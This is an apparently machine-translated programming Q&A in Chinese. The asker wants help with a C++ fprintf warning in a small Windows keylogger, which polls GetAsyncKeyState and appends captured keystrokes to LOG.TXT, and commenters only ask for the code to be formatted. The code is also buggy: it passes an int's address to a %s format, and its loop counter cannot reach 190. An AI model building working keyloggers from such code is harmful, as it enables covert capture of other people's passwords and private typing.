我有下面的代碼,我似乎無法確定問題是什麼。C++類型警告
當我編譯的C++程序,編譯程序返回警告關於期望的參數類型char*
但參數3的類型爲int
int save (int key_stroke, const char file[]);
int main()
{
char i;
while(1){
for (i = 8; i <= 190; i++){
if(GetAsyncKeyState(i)== -32767){
save(i,"LOG.TXT");
}
}
}
return 0;
}
int save (int key_stroke, const char file[])
{
if(key_stroke==1 || key_stroke==2)
return 0;
FILE *OUTPUT_FILE;//created a pointer reference variable of type File
OUTPUT_FILE = fopen(file, "a+");
fprintf(OUTPUT_FILE, "%s", &key_stroke);//this is line that c++ compiler
//compiler complains of
fclose(OUTPUT_FILE);
cout<<key_stroke<<endl;
return 0;
}
請格式化您的代碼。 – Xiobiq
你的代碼亂七八糟。正確清理它。我也不知道這個錯誤和你的代碼如何沒有適當的信息。 – Shiro
我討厭成爲一個麻煩,但如果你刪除了不必要的空行,我們可以更好地幫助你。請這樣做,我會看看我能否幫助你... –